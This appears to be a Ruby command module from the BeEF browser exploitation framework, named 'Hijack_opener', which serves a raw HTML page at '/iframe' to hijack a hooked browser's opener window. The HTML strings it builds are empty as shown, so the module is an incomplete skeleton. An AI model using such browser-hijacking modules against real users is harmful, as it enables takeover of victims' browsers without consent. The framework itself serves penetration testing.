# # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hijack_opener < BeEF::Core::Command def pre_send config = BeEF::Core::Configuration.instance hook_file = config.get('beef.http.hook_file') src = '' src << "" src << "" src << '' BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw( '200', { 'Content-Type' => 'text/html' }, src, '/iframe', -1 ) end def post_execute save({ 'result' => @datastore['result'] }) end end